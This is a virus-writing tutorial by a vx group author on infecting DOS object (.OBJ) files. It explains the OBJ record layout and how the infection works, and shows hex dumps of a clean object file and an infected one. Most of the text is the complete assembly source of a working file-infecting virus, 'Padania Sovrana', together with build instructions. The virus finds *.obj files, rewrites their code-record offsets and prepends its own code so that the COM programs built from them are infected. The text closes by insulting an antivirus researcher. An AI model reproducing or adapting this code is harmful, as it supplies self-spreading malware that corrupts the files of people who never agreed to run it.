Infecting OBJs
by Int13h/IkX


The first virus which implements .OBJ files infection was the one called Shifting Objective. His coder was Stormbringer of Phalcom/Skim. It was a virus which infects every OBJ file with IP set to 100h, that means files that will be COM programs when compiled. There are just few virus that infects OBJ files. Lets remember some of them: Shift_OBJ, Ace of Spades, Kuarahy, Zhengxi & DDT. Just five, very few considering that there are thousands of viruses. There are a lot of reasons. One of them is that an OBJ file isn't a very used structure, a virus won't spread arround the world just infecting OBJs. These files are usually part of coders's hard disks. Another reason maybe is the obscurity of these kinda files. Well, it does not care. We will spill some light about this topic in this little and quick OBJ infection tutorial. Object files are organized as a sequence of records of 4 bytes. There are a lot of record types, the first byte of the record is the record type, the descriptor and the next two bytes represents the size of the file, the last byte is a checksum byte. In Kuarahy I didn't modified the checksum value and TLINK compiles infected files without problems, it seems that compilers ignores this byte. Some of the field descriptor in- teresting for virus are the following:

        080H = This is the start of every OBJ file
        0A0H = This means code, not compressed, raw code
        0A2H = This means compressed code
        08AH = This is the last field, the OBJ ending module

If you are reading the field 0A0H or the 0A2H one, you must know that after the four bytes header there is a word that represents the offset in memory where the piece of code will be. Then, for a COM file, the first 0A0H or 0A2H you find must be 0100H, because COMs begins with IP=0100H, for the PSP thing. Well, lets begin with the infection stuph. To infect OBJs, we will work this way: we will read all the field descriptors, if the readed field is 0A0H or 0A2H we will read the next word of the file, that is the offset in memory where that part will go, we must add virus size to that word and write it again to the file. Do the modifications for all the fields. Look the virus code for pointer's movement. When you find the 08AH, it means that you have reached the OBJ ending module. There you must add your virus module, it must look like this:

VirusField:
        db 0A0h                         ; Normal code
        dw Size+3                       ; Size of the beast+3
        db 01
        dw 100h                         ; IP=100h, then it will be COM

Write your virus module, and then your virus code. Following that, you have to write the OBJ ending module. Lets see:

           ORIGINAL OBJ FILE (before the infection)

             Description             Offset in memory
             ----------------------------------------
                Header                  ....
                Module 1                100h
                Module 2                400h
                Module 3                500h
                Final module            ....


           MODIFIED OBJ FILE (after the infection)

              We assume that virus lenght is 100h

             Description             Offset in memory
             ----------------------------------------
                Header                  ....
                Module 1                200h
                Module 2                500h
                Module 3                600h
                Virus                   100h
                Final module            ....


             THE COMPILED OBJ

              ORIGINAL        [Code of original program]
              INFECTED        [Virus | Code of original program]



The following is the hex-dump of an uninfected OBJ file:

00000000: 80 0C 00 0A 62 61 73 75  - 72 61 2E 61 73 6D 7D 88   ....basura.asm}.
00000010: 1F 00 00 00 54 75 72 62  - 6F 20 41 73 73 65 6D 62   ...Turbo Assemb
00000020: 6C 65 72 20 20 56 65 72  - 73 69 6F 6E 20 32 2E 30   ler  Version 2.0
00000030: B9 88 12 00 40 E9 30 91  - 06 25 0A 62 61 73 75 72   ....@.0..%.basur
00000040: 61 2E 61 73 6D 5A 88 03  - 00 40 E9 4C 96 02 00 00   a.asmZ...@.L....
00000050: 68 88 03 00 40 A1 94 96  - 0C 00 05 5F 54 45 58 54   h...@......_TEXT
00000060: 04 43 4F 44 45 96 98 07  - 00 48 02 01 02 03 01 10   .CODE....H......
00000070: 96 0C 00 05 5F 44 41 54  - 41 04 44 41 54 41 C2 98   ...._DATA.DATA..
00000080: 07 00 48 00 00 04 05 01  - 0F 96 08 00 06 44 47 52   ..H..........DGR
00000090: 4F 55 50 8B 9A 06 00 06  - FF 02 FF 01 59 88 04 00   OUP.........Y...
000000A0: 40 A2 01 91 *A0 06 00 01  - 00 01 **CD 20 6B 8A 07 00   @.......... k...
000000B0: C1 10 01 01 00 01 9B        ^^^^
                                  Offset in memory. COM File=100H

REFERENCES
----------
*   = Orig. field of the file
**  = Code of the hoste, just an INT 20h to exit do DOS

And this is the same hoste, but infected by the virus, look carefully for the changes in the A0 and A2 fields. Check also the viral and ending module.

00000000: 80 0C 00 0A 62 61 73 75  - 72 61 2E 61 73 6D 7D 88   ....basura.asm}.
00000010: 1F 00 00 00 54 75 72 62  - 6F 20 41 73 73 65 6D 62   ...Turbo Assemb
00000020: 6C 65 72 20 20 56 65 72  - 73 69 6F 6E 20 32 2E 30   ler  Version 2.0
00000030: B9 88 12 00 40 E9 30 91  - 06 25 0A 62 61 73 75 72   ....@.0..%.basur
00000040: 61 2E 61 73 6D 5A 88 03  - 00 40 E9 4C 96 02 00 00   a.asmZ...@.L....
00000050: 68 88 03 00 40 A1 94 96  - 0C 00 05 5F 54 45 58 54   h...@......_TEXT
00000060: 04 43 4F 44 45 96 98 07  - 00 48 02 01 02 03 01 10   .CODE....H......
00000070: 96 0C 00 05 5F 44 41 54  - 41 04 44 41 54 41 C2 98   ...._DATA.DATA..
00000080: 07 00 48 00 00 04 05 01  - 0F 96 08 00 06 44 47 52   ..H..........DGR
00000090: 4F 55 50 8B 9A 06 00 06  - FF 02 FF 01 59 88 04 00   OUP.........Y...
000000A0: 40 A2 01 91 *A0 06 00 01  - 57 02 CD 20 6B **A0 5A 01   @.......W.. k.Z.
000000B0: 01 00 01 ***B4 1A BA 60 EA  - CD 21 B4 4E 33 C9 BA 15   ......`..!.N3...
              ^^^^ Offset in memory. COM File=100H
000000C0: 02 CD 21 73 30 B4 1A BA  - 80 00 CD 21 BE 37 01 BF   ..!s0......!.7..
000000D0: 00 FA 8B C7 B9 05 00 F3  - A5 A4 BE 57 02 BF 00 01   ...........W....
000000E0: 57 B9 50 C3 33 DB 33 D2  - FF E0 F3 A4 33 F6 33 FF   W.P.3.3.....3.3.
000000F0: 33 C0 33 C9 C3 BA 7E EA  - B8 02 3D CD 21 72 1F 93   3.3...~...=.!r.
00000100: 33 ED E8 9E 00 3C 8A 74  - 6E 3C 8C 74 11 3C A0 74   3....<.tn<.t.<.t
00000110: 19 3C A2 74 15 B8 01 42  - 33 C9 CD 21 73 E4 B4 3E   .<.t...B3..!s..>
00000120: CD 21 B4 4F CD 21 73 CD  - EB 9B 52 B8 01 42 33 C9   .!.O.!s...R..B3.
00000130: 33 D2 CD 21 52 50 B4 3F  - BA 12 02 B9 03 00 CD 21   3..!RP.?.......!
00000140: 0B ED 75 10 45 81 3E 13  - 02 00 01 74 07 FA 83 EC   ..u.E.>....t....
00000150: 06 FB EB CA 81 06 13 02  - 57 01 5A 59 51 52 B8 00   ........W.ZYQR..
00000160: 42 CD 21 B4 40 B9 03 00  - BA 12 02 CD 21 5A 59 B8   B.!.@.......!ZY.
00000170: 00 42 CD 21 5A EB 9E B8  - 01 42 B9 FF FF BA FD FF   .B.!Z....B......
00000180: CD 21 B4 40 B9 06 00 BA  - 0C 02 CD 21 B4 40 BA 00   .!.@.......!.@..
00000190: 01 B9 57 01 CD 21 B4 40  - BA 02 02 B9 0A 00 CD 21   ..W..!.@.......!
000001A0: E9 7B FF B4 3F B9 03 00  - BA 1B 02 CD 21 A0 1B 02   .{..?.......!...
000001B0: 8B 16 1C 02 C3 8A 07 00  - C1 10 01 01 00 01 9B A0   ................
000001C0: 5A 01 01 00 01 01 57 02  - 2A 2E 6F 62 6A 00 8A 07   Z.....W.*.obj...
000001D0: 00 5B 50 41 44 41 4E 49  - 41 20 53 4F 56 52 41 4E   .[PADANIA SOVRAN
000001E0: 41 20 62 79 20 49 6E 74  - 31 33 68 2F 49 4B 58 2E   A by Int13h/IKX.
000001F0: 20 47 72 65 65 74 73 20  - 74 6F 20 6D 79 20 66 72    Greets to my fr
00000200: 69 65 6E 64 20 62 30 7A  - 30 21 8A 07 00 C1 10 01   iend b0z0!......
00000210: 01 00 01 9B

REFERENCES
----------
*   = Orig. field of the file (just a program that exits to DOS with INT 20h)
**  = Field added by the virus
*** = Beginnig of viral code

We added virus size to offset in memory of the file. Then we wrote the virus to the end with IP set to 100h. Then, the compiler will write virus first and following it, the hoste's code. To restore control you must copy the hoste's code to 100H and give it control. To do this I move some code at the end of the segment. The code just copied all the hoste's code to 100H and then gives it the control.

             INFECTED COM (when compiled)

                                    OFFSET
               .-----------------.  0
               |     P S P       |
               |-----------------|  100H
               |   V I R U S     |
               |-----------------|  Virus's size
               | ORIGINAL HOSTE  |
               '-----------------'  Heap...

; This  is  a  very simple runtime OBJ infector, it infects objects files
; with IP=100h,  that is, files that will be compiled to COMs. It is very
; easy to  understand, just  follow the code and read comments. Have fun!
;                                                                  Int13h
;
; P.S.: compile to COM, tasm sovrana.asm /m3 | tlink /t sovrana.obj

.model tiny
.code
org 100h

Size equ (offset EndViruz-offset PADANIA_SOVRANA)

PADANIA_SOVRANA:
        mov     ah,1ah                  ; Reallocate DTA
        mov     dx,60000d               ; to the final zone of COM segment
        int     21h

FindOBJ:mov     ah,4eh                  ; Find first file
        xor     cx,cx
        mov     dx,offset Vixtims       ; *.obj
        int     21h
        jnc     Open_File               ; Open if found...

Restore:mov     ah,1ah
        mov     dx,80h                  ; Repoints DTA to original place
        int     21h

        mov     si,offset Copier        ; Little code
        mov     di,64000                ; Where to copy
        mov     ax,di
        mov     cx,5                    ; Five words
        rep     movsw
        movsb                           ; ...and one byte

        mov     si,offset EndViruz      ; Original hoste's code shifted
        mov     di,100h                 ; To 100h
        push    di                      ; Stack this address
        mov     cx,50000                ; Generic Lenght
        xor     bx,bx                   ; Blank BX
        xor     dx,dx                   ; Clear DX
        jmp     ax                      ; JMP to Copier code

Copier: repe    movsb                   ; Do the shifting
        xor     si,si
        xor     di,di                   ; Clean registers
        xor     ax,ax
        xor     cx,cx
        ret                             ; And brings control to 100h


Open_File:
        mov     dx,60000d+1eh           ; Filename (founded by 4e/4f function)
        mov     ax,3d02h                ; Open in read/write mode
        int     21h
        jc      Next                    ; Can't be opened
        xchg    bx,ax                   ; Move file handle
        xor     bp,bp                   ; Clear our flag

OtherField:
        call    Reading                 ; Read 3 bytes
        cmp     al,08ah                 ; Ending field
        jz      LastField
        cmp     al,08ch                 ; It have external definitions :(
        jz      Next
        cmp     al,0a0h                 ; Normal code, lets modify it
        jz      Infect
        cmp     al,0a2h                 ; Compressed code
        jz      Infect

PointIt:mov     ax,4201h
        xor     cx,cx                   ; Move pointer to the following field
        int     21h
        jnc     OtherField

Next:   mov     ah,3eh                  ; Close the file
        int     21h
        mov     ah,4fh                  ; Look for the next OBJ
        int     21h
        jnc     Open_File               ; If found, open it
        jmp     Restore                 ; Restore control...


Infect: push    dx
        mov     ax,4201h
        xor     cx,cx
        xor     dx,dx
        int     21h
        push    dx ax                   ; Memorize current pointer location

        mov     ah,3fh
        mov     dx,offset Input         ; Read the next 3 bytes
        mov     cx,3                    ; Here we will manipulate the offset
        int     21h                     ; in memory where that part will go

        or      bp,bp                   ; Check flag to see if is the first A0
        jnz     NotTheFirstA0

        inc     bp                      ; Change flag state
        cmp     word ptr [Input+1],100h ; IP must be 100h, otherwise file
        je      NotTheFirstA0           ; is already infected or will be EXE
        cli
        sub     sp,6                    ; Fix the stack (pop ax ax ax)
        sti                             ; poping the 3 words we pushed
        jmp     Next                    ; Look for another phile

NotTheFirstA0:
        add     word ptr [Input+1],Size ; Add virus size to offset in memory

        pop     dx cx
        push    cx dx
        mov     ax,4200h                ; Move pointer back
        int     21h

        mov     ah,40h
        mov     cx,3                    ; Write modified field
        mov     dx,offset Input
        int     21h

        pop     dx cx
        mov     ax,4200h                ; Correct pointer position
        int     21h
        pop     dx
        jmp     PointIt


LastField:
        mov     ax,4201h
        mov     cx,0ffffh               ; Move pointer to the last field (8a)
        mov     dx,0fffdh
        int     21h

        mov     ah,40h
        mov     cx,6
        mov     dx,offset VirusField    ; Write a field for our virus, with
        int     21h                     ; IP=100h then when compiled we will
                                        ; have Virus+Hoste

        mov     ah,40h
        mov     dx,100h                 ; Write virus now
        mov     cx,Size
        int     21h

        mov     ah,40h
        mov     dx,offset Ending        ; And now write the clasic
        mov     cx,10                   ; ending module
        int     21h
        
        jmp     Next                    ; Check for another file


Reading:mov ah,3fh                      ; OBJ field descriptor reader routine
        mov cx,3
        mov dx,offset Buffer
        int 21h
        mov al,byte ptr ds:[Buffer]     ; Field type
        mov dx,word ptr ds:[Buffer+1]   ; Size of the field
        ret

; Every OBJ file I tested finish with these byte sequences, it is the
; object file ending module
Ending  db 08ah,07h,00h,0c1h,010h,01h,01h,00h,01h,09bh

VirusField:
        db 0A0h                         ; Normal code
        dw Size+3                       ; Size of the beast+3
        db 01
        dw 100h                         ; IP=100h, then it will be COM

Input   db 0,0,0
Vixtims db '*.obj',0
Buffer  db 0,0,0

PaDaNia_LiBRe db "[PADANIA SOVRANA by Int13h/IKX. Greets to my friend b0z0!"

EndViruz label byte
int 20h

End PADANIA_SOVRANA

Well. That was all. If you have some questions or comments you can reach me at: int13h@antisocial.com. The idiot russian AVer known as Eugene Kasperspig said that my virus fail when infecting OBJs. Then, you must try to compile the OBJs infected by this one to see the true. Maybe that stupid AVer must try to compile the files with TLINK, because compiling files with EDLIN.COM is really hard. Bye!